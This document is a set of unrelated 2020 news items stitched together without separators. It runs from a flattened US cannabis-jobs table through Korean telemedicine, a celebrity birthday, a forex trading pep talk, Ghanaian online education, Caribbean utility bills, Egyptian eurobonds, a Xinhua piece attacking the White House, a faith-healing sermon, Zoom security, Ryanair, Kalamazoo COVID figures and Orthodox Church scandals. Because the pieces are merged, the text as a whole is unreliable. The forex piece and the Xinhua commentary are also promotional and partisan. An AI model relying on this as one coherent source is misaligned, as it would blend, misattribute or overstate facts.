State / Jurisdiction Number of Legal Cannabis Jobs Estimated Annual Sales Rank California 39,804 $2,030,000,000 1 Colorado 34,700 $1,770,000,000 2 Washington 23,756 $1,210,000,000 3 Oregon 18,274 $800,000,000 4 Florida 15,598 $800,000,000 5 Arizona 15,059 $709,000,000 6 Nevada 14,305 $730,000,000 7 Massachusetts 13,255 $700,000,000 8 Oklahoma 9,412 $480,000,000 9 Illinois 9,176 $470,000,000 10 Pennsylvania 8,765 $406,000,000 11 Michigan 8,235 $420,000,000 12 Maryland 6,353 $324,000,000 13 Ohio 4,275 $220,000,000 14 Alaska 3,559 $181,500,000 15 New York 2,941 $125,000,000 16 New Mexico 2,549 $130,000,000 17 New Jersey 2,356 $120,000,000 18 Montana 1,800 $92,000,000 19 Arkansas 1,777 $90,000,000 20 Connecticut 1,372 $60,000,000 21 Missouri 1,100 N/A 22 Rhode Island 1,098 $50,000,000 23 Minnesota 764 $39,000,000 24 Hawaii 745 $35,000,000 25 Delaware 720 $37,000,000 26 New Hampshire 441 $22,500,000 27 Maine 400 N/A 28 Washington, D.C. 390 $19,000,000 29 Vermont 266 $14,000,000 30 North Dakota 200 N/A 31 Iowa 120 $6,000,000 32 Utah 100 N/A 33 Louisiana 90 $5,000,000 34 West Virginia 30 N/A 35 Alabama 0 $0 36 Georgia 0 $0 36 Idaho 0 $0 36 Indiana 0 $0 36 Kansas 0 $0 36 Kentucky 0 $0 36 Mississippi 0 $0 36 Nebraska 0 $0 36 North Carolina 0 $0 36 South Carolina 0 $0 36 South Dakota 0 $0 36 Tennessee 0 $0 36 Texas 0 $0 36 Virginia 0 $0 36 Wisconsin 0 $0 36 Wyoming 0 $0 36

Source: Leafly.com

Louis Weisberg contributed to this story.
A visitor wearing mask near a banner showing precaution against the new coronavirus, walks at the Gyeongbok Palace in Seoul, Friday, May 15, 2020. AP



Getting geared up for a potential second wave of COVID-19 infections, South Korea seems to be leaning toward embracing telemedicine despite unrelenting protests from a physicians' lobby group and civic activists.



President Moon Jae-in's aides at Cheong Wa Dae are busy making a case for why such a system is necessary, citing the new coronavirus experience. Telemedicine is expected to be included in the Korean version of the New Deal, Moon's newly found signature project amid the virus crisis.



Formally, they use an alternative jargon, "non face-to-face" or "untact" services, as critics view telemedicine as a prelude to full-fledged for-profit businesses by hospitals here.



"The (envisioned) untact medical service is intended to prepare for a second pandemic, which experts fear, and protect the health of medical workers and patients' access to medicine," a Cheong Wa Dae official told reporters on background. "The government will make thorough preparations."



Introducing telemedicine service has long been a contentious and ideologically sensitive issue in South Korea, where the common good is the mantra of its medical system. Rigorous regulations are in place.



Under the Medical Service Act, all public and private hospitals are categorized as not-for-profit and required to reinvest earnings back into their operation, not for shareholders or other investors. Establishing for-profit subsidiaries are outlawed.



A decade ago, the "business-friendly" Lee Myung-bak administration sought a revision of the law to introduce telemedicine. The move drew ferocious opposition not only from Moon's left-leaning Democratic Party (DP) but also from physicians and civic groups.



In 2016, the successive conservative administration of Park Geun-hye also attempted it to no avail.



Opponents of telemedicine have voiced worries about misdiagnoses, personal disease record leaks, and obstacles to early and timely treatment.



They argued that large hospitals, including college-affiliated ones, would be a main beneficiary with community-based clinics at stake.



Moon was against it himself, serving as leader of the DP when it was the main opposition party.



The coronavirus pandemic has clearly turned the tide.



In response to soaring infections in late February, the government temporarily waived a ban on remote services by medical centers nationwide.



The results compiled so far are positive. More than 260,000 phone consultations and prescriptions were made at a total of 3,853 institutions between Feb. 24 and May 10, according to official data. Among them were lots of small clinics. There has been no report of negative impact on the medical care system.



"We have gained valuable experience from the provisional measure," another presidential official said on the customary condition of anonymity. "It's important to systemize that with the advent of a new normal led by COVID-19."



An information, communication and technology power seeking to spread the so-called K-bio wave worldwide, South Korea is already lagging behind as far as introducing telemedicine service is concerned. The United States launched the American Telemedicine Association in 1993. Japan and China lifted restrictions on telemedicine in 2015 and 2016. respectively.



The Korean Medical Association (KMA), which claims 130,000 members, vehemently protests against bringing in telemedicine.



"Now that it's a matter of rattling the nation's medical system, we have no other choice but to stage an extreme struggle if the government pushes ahead with it," its hard-liner chief, Choi Dae-zip, warned.



Some civic groups question the necessity and usefulness of telemedicine for South Korea.



"It's more urgent to expand the number of public sickbeds and public health service workers," People's Solidarity for Participatory Democracy said in a statement.



Telemedicine would bring more favors and profits only to big-name hospitals and major telecommunication firms, it added.



Cheong Wa Dae officials emphasized the Moon administration remains committed to beefing up the public health care networks.



What's being planned is a fresh concept different from that of conventional "telemedicine" sought by the former governments before the coronavirus pandemic, they say.



Rather than industrial aspects, they stressed, the terminology "untact" focuses more on promoting the safety and convenience of patients and medical workers for public good, which is believed to be the key reason for them to make a pitch for the alternative terminology. (Yonhap)


Katie Price attending the National Television Awards 2017 at the O2, London. Wednesday January 25, 2017. (Photo by Matt Crossick/PA Images via Getty Images)

Katie Price is celebrating her birthday on Friday 22 May as the star turns 42 years old.

Born in 1978 to Amy and Ray Infield, she went on to acquire the surname of her stepfather Paul Price after he wed her mother in 1988.

Stepping into the limelight as a teenager, Price began her glamour modelling career in 1996 and her alter ego Jordan was born.

Over the years shes transitioned from model to media personality, stopping to dabble in music and novels along the way as well as campaigning to put a stop to online abuse.

Shes appeared on some of the UKs biggest reality shows including Celebrity Big Brother and Im A Celebrity...Get Me Out Of Here! while most recently shes done a stint in Celebrity SAS: Who Dares Wins.

Never one to shy away from publicly discussing her highs and lows, shes been an enduring figure in British popular culture for over two decades.

Read more: Katie Price reveals Celebrity SAS bond with Anthea Turner

But just exactly how much information about her life can you recall? Take our trivia quiz to test your knowledge.

And remember - never underestimate the Pricey.
This article is not going to be like your traditional education materials. We will highlight some of the hidden secrets of the trading business. Most importantly, you will learn how success is closely connected to human emotions. The foreign exchange market is famous for its high leverage trading environment. This means traders can borrow money from the broker and trade the currency pairs or other financial instruments. Though it's a very profitable industry, few traders can make decent profit. Millions of traders have quitted trading right before they hit the door of success. Today we are going to emphasize some of the key elements that can make you a successful trader. After reading this article, you will know why you should not quit trading the Forex market.

Knowledge and skills

Knowledge and skills are the most important factors to become a successful trader. If you intend to beat the market you must have a strong education. Without knowing the basic dynamics of the market, it is very hard to survive in the trading industry. Those who want to trade with technical knowledge don't realize the importance of news data. Things need to be done in a very precise way. One of the common reasons why day traders are quitting trading is because they consider trading as a unique method to boost their income. But they don't realize the importance of skills and knowledge. Work hard to improve your skill and knowledge of trading and you won't have to quit trading.

Identify your faults

Before you start thinking of quitting Forex, you have found an answer to some of the most important questions. For instance, you need to know whether you have identified the mistakes in your trading system or not. You have to ask yourself whether you are following the rules and taking the trades with low risk. After finding the answer, you are not going to quit trading. Trading is not an easy game that can ensure heavy cash flow. The top traders in the United Kingdom always consider it as an art as it allows retail investors to make big money.

Know your goals

Thousands of traders stop trading the Forex market because they don't have any goals. Being an active trader, you must have a goal to make a profit. The goal will determine how well you are going to trade the market. Taking the steps and trying to earn huge money without having a specific goal forces you to set unrealistic expectations. Such unrealistic expectation is one of the key reasons for which the majority of the retail traders are losing. Define your goals and trade the market with discipline. Once you have a defined goal, write down the details in the journal and this will help you to trade with discipline. Stop breaking the rules and you won't have to stop trading the market.

Use a premium broker

Do you know a low-class broker doesn't want you to make a profit? They are making money from your losing trades. But if you trade with premium brokers like Saxo, you are going to get help from their team. The only reason behind this great service is that they make money from your trading commission and spread. As long as you are profitable, you will be taking the trades with them. Being an active trader, you will directly contribute to their revenue. So, finding a good broker that truly cares about you is essential, their business model must support your income source.

Conclusion

If you still think you are going to quit trading you must have a very strong reason. The majority of traders will not quit trading after reading this article because they will realize their mistake. Work hard to solve the problems and you can secure your financial freedom by becoming a world-class trader.

@ 2022 HNGN, All rights reserved. Do not reproduce without permission.
In this pandemic, a lot of things have changed. Please note that no closure had been planned, it caught us by surprise. Schools have since been moved online, so to speak. It was a hard time for decision makers as schools were closed, examination to not take place, students would be graded on assignments etc. The decision makers created plans to ensure continuity in education in the case of temporally school closure. TA'ing in the university, I knew how hard it can be for lecturers and students to teach and learn in this hard time. But it's still life experience, we are living through a history!

I have since been asking myself questions. Would some challenges render the solution offered a complete substandard approach, and hence lead to poor outcome? This became the objective for this not so difficult research I carried out recently.

If anyone doubted the importance of the Internet and smart phones before the covid-19 pandemic, those doubts have vanished like shaking hands and coughing.

Students sent home from schools are encouraged to continue their studies online. But many students returned homes without electricity and an Internet connection capable of watching lecture videos and uploading assignments. This presents a case of problem-solution gap.

A review of what people have said about covid-19 and education suggest that online classes is the way to go since there is no easy way to reopening schools. How do you operate institutions designed to mix people and ideas without also mixing viruses?

An encounter I had with some students who travelled from their villages to campus to have easy access to technology to aid their assignment submission redefines education this year as all about those with access to online educational resources versus the rest.

As aforementioned in the beginning of this article, the uneasy relationship between access to Internet and online school should arouse our attention about what exactly need to be done going forward.

During this time, the Internet has proved to be a lifeline, delivering the latest corona virus health and emergency updates and facilitating online classes. But this is the case for those lucky enough to have access to educational resources in this time. Research suggests 7 out of 10 students in rural areas remain without access to fixed, high capacity broadband, making matters worse. Many of these students don't even have a cellphone signal, much less a broadband Internet connection. No Internet access means no access to opportunities the Internet holds.

In an extreme situation, students must travel to areas with Internet connection to submit their assignments, and we must ask how this should be so.

Presenting the findings of this research reveals that lack of access to Internet, laptops, smartphones leave us behind. Many students can't learn online whiles waiting this out. This means they are the last to receive important updates from their lecturers, and updates on health and emergency procedures, which are important for prevention.

The Internet was always important but covid-19 is illuminating the colossal crevasse between the connected and the unconnected, those in the life raft and those left in open water.

The Minister of Education, Dr. Mathew Opoku Prempeh, took the bold decision that 'No public university is allowed to write timed examination online. After clapping for him, we failed to extend the analysis that if online exams is unfair to some people then such people are not enjoying the online tutorials too.

Anyone can point out the problems and how inappropriate it is to conduct online exams for two groups with access to Internet differences, but are we creating the solution to address the problem going forward?

The problem is not conducting same online exams to the "haves and have not", but the corona virus is showing us why this is a problem.

Having identified the challenges of our time, courtesy of covid-19, it is important we use this pandemic to discuss the future of the country and call on our leaders why they have made access to these essentials almost completely inaccessible in the time we need them most for the disadvantaged. Decision makers need to do more.

Sadly not. There are still infrastructural and institutional problems that covid-19 hasn't chased entirely away.

Let us use this opportunity to transform our frustrations into policy and recommendations. Students need access to information more than ever.

Until school resumes, there is, and will be no school. One of the few things we know for sure about covid-19 is that breathing the same air as other people is an excellent way to transmit the disease. Another thing is mixing events such as school classes, where students can trade droplets with others, to send contagion flying all over campus.

When educated people talk about the value of education, they often adopt a lofty language, but the corona virus is not so sentimental, and it doesn't care about students' need for tuition. If anything, the desire of the virus is to propagate and the desire of the schools to educate are in dangerous harmony, and reopening school has become a challenge.

Online difficulties and our inability to address this problem would make school remain forever closed, both online and offline (physical classroom).

The writer is a Teaching and Research Assistant at the Department of Accounting and Finance, KNUST School of Business.

Isaac Bawuah
By Delana Isles

CONSUMERS must pay their electricity bills by May 31, FortisTCI said this week, or face disconnection and late fees.





A 60-day delay in penalties implemented during lockdown to ease residents financial burdens ends on the last day of this month.





The companys press office said it is working with customers to manage their accounts and is offering extended payment plans.





"The customer service team is on hand and ready to assist those referred to the company by the department of social development with extended payment options, a spokesperson said.





"Those needing bill payment assistance must contact our office by phone or email to speak with a customer service representative so that a personalised payment plan can be arranged, as such payments are not waived.





Customers are also being encouraged to continue to pay to avoid building up costly arrears on their accounts.





"Also, it is vital that the company, which is an essential service, continues to meet its obligations, the spokesperson said.





At present, the company said it is reaching out by every means possible to customers who have past due balances as far back as February and earlier.





A record of attempts to contact customers is maintained before any disconnection of service is carried out.





"Once we communicate with customers, bill payment assistance and a way forward can be discussed.





"We also encourage customers who need to update their contact information to do so immediately by contacting our office.





As announced in March, the company is delaying the implementation of a rate increase by 90 days, that is until June 30.





FortisTCI said it also anticipates that there will be a decrease in the fuel factor on the upcoming May bills as a result of world market prices, which will offer some relief to customers.





However, the company continues to stress the importance of energy conservation and the monitoring of electricity usage during this time.





Although customer service centres remain closed at this time, account payments are still required.





FortisTCI said they are taking payments through third party payment centres or online through personal banks, or My Online Account.





Consumers who bank with FirstCaribbean, ScotiaBank, or RBC, can pay their bill online using their online bill payment option.





They must register through the bank and should speak with a bank representative for more information. These payments are posted within 48 hours.





Customers who cannot pay online using a credit card, debit card, or their bank account, can pay their bills by cheque or cash at the following authorised payment locations:





In Providenciales: any Graceway supermarket location; in North and Middle Caicos: at BETCO (Bernie Handfield) located in Bottle Creek; in South Caicos at Seaview Market on Stubbs Road; and in Grand Turk and Salt Cay at the National Company Services (NCS), Cees Building, on Church Folly Road.





Any consumer encountering difficulties can contact a FortisTCI representative from Monday to Friday from 8am to 5pm at 946-4313 or by email at [email protected]




Egypt has issued dollar-denominated eurobonds worth $5 billion to provide urgent funding to deal with the coronavirus crisis, the finance ministry announced on Friday, describing it as the biggest international bond issuance in its history.



The ministry said the issuance was in three tranches with maturities of four, 12 and 30 years, and was mainly aimed at providing the necessary liquidity to cover the needs of the upcoming 2020/2021 fiscal year, which begins on 1 July.



The issuance is also part of efforts to provide the needed financing to deal with the repercussions, of the coronavirus, according to a ministry statement.



Finance Minister Mohamed Maait said subscription orders had reached $22 billion before the end of the issuance, with the offering more than four times oversubscribed.



The subscription exceeds those seen by international bond issuances for emerging countries in the past month, Maait said, adding that it reflects the international communitys confidence in the efforts and outcomes of Egypts economic reform programme.



Deputy Finance Minister Ahmed Kojak said the bonds issuance is the biggest in the countrys history, enabling it to achieve the biggest value in subscriptions to international bonds issued by an African state.



He said the issuance has attracted bids by over 400 investors, including 60 new investors who were subscribing to Egypts international bonds for the first time.



The bids, which came from investors in the US, the EU, Asia, the Middle East, and Africa, allowed the ministry to lower yields on offered bonds by around 50 basis points compared with the initial price guidance.



Egypt sold $1.25 billion in four-year bonds at 5.75 percent, $1.75 billion in 12-year bonds at 7.625 percent and $2 billion in 30-year bonds at 8.875 percent, Kojak said.



He added that the issuance would help provide additional financing sources for the budget in the upcoming period and the longevity of Egypts bonds portfolio and the average life of the debt stock.



The issuance is the second during the current 2019/2020 fiscal year, after a $2 billion triple-tranche eurobond issuance in November.



That issuance included $500 million of four-year bonds, $1 billion of 12-year bonds, and $500 million of 40-year bonds. It attracted $14.5 billion in subscriptions. The 40-year bonds have the longest maturity of bonds issued in the Middle East and North Africa.



Thursday's issuance comes nearly a week after Egypt secured $2.772 billion from the International Monetary Fund (IMF) under the Rapid Financing Instrument (RFI) to meet urgent balance of payments needs amid the pandemic.



Egypt is currently in talks with the IMF for an emergency fund of over $5 billion from the International Monetary Fund through a Stand-By Agreement.



The deal would finance half of this years funding gap, estimated at about $10 billion by EFG Hermes and Goldman Sachs, according to Bloomberg, as the country's main foreign currency sources, including tourism, remittances and Suez Canal receipts continue to suffer over the virus outbreak.

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Source: Xinhua| 2020-05-22 10:07:08|Editor: huaxia

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by Xinhua writer Guo Yage

BEIJING, May 22 (Xinhua) -- Over the past few months, instead of setting an example in handling the coronavirus pandemic as it should, the White House has been throwing wrecking balls home and abroad, and has turned itself into the "Whitewashing House" in a rush to cover up its mess-up.

There is ample evidence now showing that decision-makers in Washington had been fully warned about the magnitude of the public health crisis, yet they chose to downplay the threat of the pathogen.

In the United States, the White House's chaotic and behind-the-curve responses all along have helped put the country first in the global tally of infections and death tolls.

"We don't have a single point of leadership right now for this response, and we don't have a master plan for this response," Rick Bright, a whistleblower who had been ousted as head of a federal medical research agency, told a U.S. congressional testimony last week.

While shamelessly demonstrating their torpor towards lives, some politicians in this U.S. administration, like Secretary of State Mike Pompeo and White House trade advisor Peter Navarro, have put up a show of zeal for blame games and disinformation campaigns.

They have made up all sorts of false charges against a team of scapegoats like China, the World Health Organization (WHO), and the previous U.S. administration over transparency, the virus's origin and pandemic preparedness. They rush to lie for two ends: to cover up their own incompetence, and to sway public opinion for the coming election in November.

Instead of helping other countries to fight off the deadly disease, Washington is making the battles of others much tougher.

Despite a ballooning global COVID-19 caseload, Washington has kept up with its economic sanctions on Cuba, Venezuela and Iran, and even sought to block Iran's emergency loan attempt from the International Monetary Fund, seriously crippling their pandemic response ability.

Washington's traditional allies have also fallen victim to this White House's reckless acts. Germany and France have both accused the United States of blocking or diverting their medical supply orders. U.S.-based manufacturer 3M said in April that it got directions from Washington to stop exporting N95 respirators to Canada and Latin America.

A survey last week by the British Foreign Policy Group found only 28 percent of Britons trusted the United States to act responsibly on the world stage, down by 13 percentage points since January.

"The U.S. is not helping anyone. The U.S. isn't even helping itself, much less other countries. And, thanks to 24/7 global communication, that is visible for all the world to see," former U.S. Ambassador to the Netherlands Cynthia Schneider told Business Insider.

While screwing up domestically, Washington has also failed to contribute positively to global pandemic cooperation, and has been exercising a doctrine of what Jane Halton, a top Australian health expert, dubbed as "vaccine nationalism."

Earlier this month, Washington was absent from a coronavirus global response pledging event, which sought to raise funds for research for effective treatments and vaccines. In mid-March, the White House reportedly offered a large sum of money to German biotech firm CureVac for the sole rights to its vaccine.

Moreover, the White House has kept on marginalizing the WHO by smearing the organization and freezing its funding to the world health body. In its latest move, it even threatened to permanently cut off funding and withdraw from the organization while over 100 countries were in the middle of a virtual World Health Assembly to reaffirm global solidarity and their support for the WHO's key role in international health coordination.

What is also shockingly absurd is that the United States has blocked this month a vote on a United Nations Security Council resolution that called for a global ceasefire aimed to help troubled nations better fight the coronavirus pandemic.

On Tuesday, the global COVID-19 cases have topped 5 million, another grim milestone in the pandemic. Now is the time for all members of the international community to put the interests of humanity front and center in this high-stake fight, and form a united front to beat their common enemy.

The United States, the world's most developed nation, should stop whitewashing its own failures with lies, and wake up from its fantasy that it can survive the crisis without caring about the wellbeing of others. Enditem
Bill Johnson: Healing is as much of the Gospel as is forgiveness

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Healing and deliverance from sins were never supposed to be separate, said Bethel Church Senior Leader Bill Johnson.

Arguing that throughout Scripture (including Mark 2), healing and deliverance always came hand in hand, Johnson said, We were never supposed to have evangelistic ministry  brings people to Christ  and then over here on the side, in some churches, praying for the sick is allowed. It was never meant to be separated.

Healing is as much of the Gospel as is the message of forgiveness.

The charismatic church pastor, whom many consider controversial, spoke during the virtual International Healing Conference this week, which brought together dozens of healing ministries from around the world.

Johnson clarified that the eternal condition of a soul is the most important thing. But there are times Jesus wants to demonstrate His love and His compassion for people by healing the sick, by bringing deliverance, by cleansing the leper.

Given that he was speaking at a healing event, which featured an online healing rally and healing services, Johnson emphasized that the Gospel of Jesus Christ is not a philosophy.

It is not something that you take an online course for, that you become educated and now youre an expert in the Gospel. This is something that has to be tasted to be described, it has to be experienced. This Gospel of salvation was always intended to heal us from the inside out.

As the world is currently suffering through the COVID-19 pandemic, the California pastor called it a privilege to live through a time of crisis  a time when the nations of the earth are turning their attention from everything theyve held dear, everything thats been secure to them because everythings been shaken.

But the Lord doesnt shake to distress or to cause pain, so to speak. Theres a shaking because were standing on unstable foundations and Jesus is calling us to adjust so that we are completely founded on His wonder, His mercy, His greatness.

Speaking specifically to church leaders who have all been shaken, the pastor said he believes God is stirring up the heart of faith and courage to return to a simple Gospel of purity, that holiness before God and power where we demonstrate His love in this compassion for hurting and broken people.

Its time for miracles to come back into the house.

As of Friday, there are more than 5.1 million confirmed coronavirus cases around the globe and 335,418 deaths. The U.S. has reported the most cases, with 1.5 million confirmed, and most deaths at 95,276.

Johnson urged Christians to stop blaming God when it comes to death and destruction.

I remind you, Jesus said the devil came to kill, steal, destroy, he said. I hear people say, Well, God gave me this cancer to teach me patience. No, He didnt. He doesnt have cancer to give. What did He do? He came to destroy the works of the evil one.

He also stated that Jesus still heals today and He can work through Christians. All those who put their faith in Christ have the Holy Spirit  the death-defying, disease-defying, sin-canceling presence of the Spirit of God  living in them, he added.

Many of you say, Well, I just dont have enough faith. You dont have to have enough faith. Just put yourself in the right room,  in the place where Jesus is doing something. Hell teach you how to grow in faith. Just use whatever you have and direct it towards Him. Dont measure your faith; thats the worst thing to do. Just simply turn your attention, the affection of your heart toward this wonderful Savior, this wonderful Healer and together lets watch what He will do in your life, what He will do through your life.

The healing conference was initially scheduled to take place in Porto, Portugal, but was switched to an online event due to the COVID-19 pandemic. Other speakers and guests included Francis Chan, Benny Hinn, Heidi Baker and Nathan Morris.

Chan said during the conference that he didn't believe in healing and miracles and even ridiculed those who believed they could heal. But after he experienced the power of healing recently, he began to pursue the gifts of the Spirit, he said.
(Photo : REUTERS/Hannah McKay/Pool) Speech and Language Therapist Alison McLoughlin conducts a therapy session with a patient using the Zoom app in the Ear, Nose and Throat department at The Royal Blackburn Teaching Hospital in East Lancashire, following the outbreak of the coronavirus disease (COVID-19), in Blackburn, Britain, May 14, 2020. Picture taken May 14, 2020.

Following several high-profile security incidents, the United Kingdom Government has been warned off using Zoom.

Thanks to global lockdowns put in place by a coronavirus! The video conferencing business has seen a massive rise in users in recent months. Still, increased scrutiny has come with this boom.

It included updates from the U.K. National Cyber Security Center (NCSC) about Zoom's safety level, including cyber threats and possible privacy concerns.

ALSO READ: Scam Alert! Google Blocks Whooping 18 Million Daily COVID-19-Related Phishing Emails

Zoom security

Andy Harcup, VP of Absolute Software, said the tidal wave of new device purchases is essential for ensuring that government departments can operate effectively amid COVID-19 lockdown.

The National Cyber Center told the Parliament that Zoom should be used only for public business with reports suggesting that Zoom accounts are sold on the dark web. Concerns have recently prompted Zoom to launch a series of security changes to prevent Zoom Bombings, where third parties are joining calls.

ALSO READ: Zoom Banned From Singapore, Citing Privacy and Safety Concerns Amidst "Zoom Bombing"

According to TechRadar, the purchases include 550 zoom accounts obtained from the Defense Ministry (MoD), 150 from the Cabinet Office, 15 from the Foreign and Commonwealth Office (FCO), eight from the Home Office, and five from the Treasury.

Six central departments were also found to have invested extensively in new technology to allow workers to operate from home. They also purchased 41,300 new laptops, tablet computers, and cell phones to assist staff remotely.

This figure included at least 27,000 new laptops, more than 4,000 tablet computers, and around 9,700 mobile phones. The MoD once again spent the most, purchasing 13,500 new laptops, 3,263 new tablets, and 2,200 new mobile phones.

However, this spending spree was not seen across all government areas, TechRadar reported. Both the Transport Department and the FCO revealed they had not bought any new devices in response to the Coronavirus outbreak.

Implementing remote work should be accompanied by a strong approach to cybersecurity

Harcup said the rush to implement new remote working models must be accompanied by a rigorous and robust approach to cybersecurity.

"The COVID-19 crisis has seen millions of new users sign up to Zoom to host meetings and provide important updates to employees working remotely," noted Paul Farrington, EMEA, Chief Technology Officer of Veracode.

However, Farrington said a series of security missteps and bugs had been discovered in recent weeks.

Farrington warned that crucial government departments should be cautious if using the platform for sensitive meetings, around national security, and public health. "With cyber-attacks on the rise, it's also crucial that users have downloaded the latest versions of these applications to prevent hackers from gaining access and stealing data," he said.

According to Harcup, the rush to implement new remote working models must be accompanied by a rigorous and robust approach to cybersecurity. "It's also critical to be able to wipe, track and freeze laptops which contain confidential data, in the event of theft or loss," he said.

ALSO READ: Virtual Party Ideas: Here's How to Throw a Virtual Party During Quarantine

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
Ryanair passengers will have to ask to use the toilet as new safety measures have reportedly been introduced by the airline.



The carrier plans to reintroduce 40% of flights from 1 July, subject to travel restrictions being lifted and safety measures being brought in at airports.

YouTube/Ryanair

The airline has detailed a number of enhanced safety measures for when flights resume, including the restriction of toilet access onboard to avoid queueing and encourage physical distancing.

In a press release dated May 12 ,the airline outlined its enhanced safety measures to help protect both passengers and crew.

Queuing for toilets will also be prohibited on board although toilet access will be made available to individual passengers upon request, the airline said in its press release.

Other new rules include face coverings being worn by all crew and passengers and cashless on-board transactions.



The airline will also ask its passengers to check in online and bring fewer bags and have to download their boarding pass to a smartphone.

At check-in, passengers will be required to fill out a form stipulating various information about their travels.

The details in the form will include the trip duration and location of accommodation in order to help European governments to monitor specific isolation regulations, states the press release.

In preparation for our return to flying, were bringing in new measures to help protect the health of our passengers and staff  pic.twitter.com/NY5iGlWh5U  Ryanair (@Ryanair) May 11, 2020

Additionally, Ryanair said that passengers may have their temperature taken at the airport, and if its high, theyll be asked to return home.

People have been locked up since the middle of March. People are really gagging to get out and I think get abroad for the sunshine," the Guardian quoted Michael OLeary, the group chief executive as saying.

YouTube/Ryanair

He also considers the U.K.s intention to quarantine visitors for 14 days nonsense, and not based on science and that passengers would ignore it.

He told ITVs Good Morning Britain: I dont think this 14-day isolation will be effective. It will have no credibility among the travelling public, but it is manageable.

He added that British families could easily quarantine at home for two weeks after returning from their holidays, and if destinations such as Spain or Italy introduced similar measures, UK travellers could simply isolate in their holiday accommodation.

According to a Guardian report, the airline will operate 1,000 flights per day in July, which represents around 90% of its pre-Covid-19 route network being restored. Initially, there will be fewer flights than usual on busier trunk routes to enable as many routes as possible to have flights restored.
KALAMAZOO, MI -- Kalamazoos largest hospital is seeing a decline in coronavirus patients, deaths and the number of calls into the care team.

For the last two to three weeks, COVID-19 numbers at Bronson Methodist Hospital have reached a peak, plateau and now a stable downward trend, said Dr. Aaron Lane-Davies, chief of quality for Bronson Medical Group.

Were beyond that three-week plateau and moving into how do we deliver care going forward, understanding that COVID-19 is in our community for the foreseeable future, he said.

This week, Bronson Healthcare sent out a statement encouraging patients to reschedule appointments, surgeries and procedures that were postponed due to the pandemic. The release cites social distancing and protective behaviors as contributing factors to flattening the curve.

As a result, the hospital is better equipped to handle COVID-19 patients in the future without being overwhelmed, Lane-Davies said. Hospital capacity has been a key factor in reopening plans for both the state and Kalamazoo County.

Its important to think about the transition thats happening, based on the governments orders, Lane-Davies said. Its not a free-for-all where were returning to the pre-covid normal. Social distancing remains really, really important.

On Thursday, the cumulative total of COVID-19 cases was 765 and 115 hospitalizations in Kalamazoo County.

Over the course of the last seven days there have been an average of 13 new cases a day and a total of six deaths, according to county data.

In comparison, the week before reported an average of 15 new cases a day and a total of 15 deaths.

Kalamazoo County data shows that 96% of deaths are among COVID-19 patients 60 and older. Health Officer Jim Rutherford said the majority of these deaths occurred in the long-term care facilities.

Of the 46 deaths attributed to the coronavirus in Kalamazoo County, 34 were residents in long-term care facilities.

While Kalamazoo Countys average age of the deceased is 79, approximately 70% of positive cases are among those younger than 60.

Bronson Methodist reported 71 recovered COVID-19 patients on Thursday. Recovered patients are defined as someone who has 72 hours of improvement in cough and fever and is 10 days out from the onset of symptoms.

In the last 30 days Bronson Methodist has averaged 18 patients a day. On Thursday, the hospital reported 15 patients and a total of 25 deaths.

Ascension Borgess has not released its patient, recovery and death data, citing patient privacy.

A visual representation of the increasing case counts and death toll in Kalamazoo County is shown below, based on data reported by the state. Apparent conflicts in data reported there result from slight differences in daily case counts provided by state and county health officials.

Cumulative total cases and deaths in Kalamazoo County:

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COVID-19 PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus.

More coronavirus coverage on MLive:

Long-term care facility residents make up the majority of Kalamazoo Countys coronavirus deaths

Kalamazoo County COVID-19 curve unreliable because of lack of early testing, officials say

Kalamazoo County sets 3-phase plan to reopen business, institutions post-pandemic

Michigan-made coronavirus vaccine from Pfizer in clinical trials
by Vladimir Rozanskij

Kirill has also decided to intervene to resolve a sexual harassment scandal involving two young bishops. However, many accuse the patriarch of "abuse of power", and of having waited for the pandemic crisis to operate a "settlement of accounts" within the hierarchy.

Moscow (AsiaNews) - The pandemic in Russia seems to have entered "phase-2" in decreasing infections, even if the number of positives in the last 24 hours remains quite high (8849, for a total of over 300 thousand infected and about 3 thousand deaths). There are no reports of other Orthodox priests who died of Covid-19 infection in the past two days, although the number of clerics and monks infected and under intensive care remains quite high.

The Patriarch of Moscow (in the photo) Kirill (Gundjaev) in relation to the pandemic crisis has tightened the canonical assessments and sanctions, especially against clergymen who preach "Covid-denial" and do not respect the indications on the closure of churches. In this climate, Kirill also decided to take rather abrupt action to resolve a sexual harassment scandal involving two young bishops.

Without even waiting for the verdict of the ecclesiastical tribunal, the patriarch suspended the bishop of Armavir and Labinsk, 47-year-old Ignatij (Buzin), (photo 2), and the bishop of Kostomuksha and Kem 46-year-old Ignatij (Tarasov). The patriarchal decree mentions "communications received, containing documented and reasoned charges" against the two young prelates, who have been "confined" in cities far from their dioceses, under the responsibility of the local metropolitans. In fact, at the beginning of May scandalous images of the conduct of the two bishops began to circulate on social media, with rather embarrassing and particular photographs on the homosexual activity of various priests and lay people together with them.

The scandal divided the faithful, especially those in favor of the accused, who in turn reproach other ecclesiastics for organizing the intrigue for personal reasons and conflicts of power within the Orthodox Church. The accusers speak of alcoholic fueled parties and the manipulation of various characters related to the accused, with all financed by money belonging to the Church. The Patriarch reportedly lost all patience when confronted by the photograph of Bishop Ignatij (Buzin) naked, drunk and in embarrassing poses.

However, many also accuse the patriarch of "abuse of power", and of having waited for the pandemic crisis to operate a "settlement of accounts" within the hierarchy. Already on 23 March the bishop of Cherepovetsk and Beloozersk, Flavian (Mitrofanov), 44, resigned following a scandal. A police search on his apartment revealed that he had been living with a young Italian. Before that, on 11 March, Metropolitan Ioann (Roscin), 45 years old, was retired after a year in which he went from the Russian diocese of Italy to the European metropolis of Paris, to be downgraded to the metropolis of Vienna, and then finally liquidated without any explanation.

The scandals and sudden changes or suspensions in the career of the "rampant bishops" make us reflect on the policy of the last decade implemented by Patriarch Kirill, who tried to multiply dioceses and other patriarchal structures in a short time, putting various young people close to him in charge, as he used to do even before becoming patriarch, in obviously more restricted areas. The climate of confrontation with the most intransigent monks, who during the pandemic manifested much hostility towards the patriarch, is leading to a drastic redefinition of the internal balance of the Russian Orthodox Church.
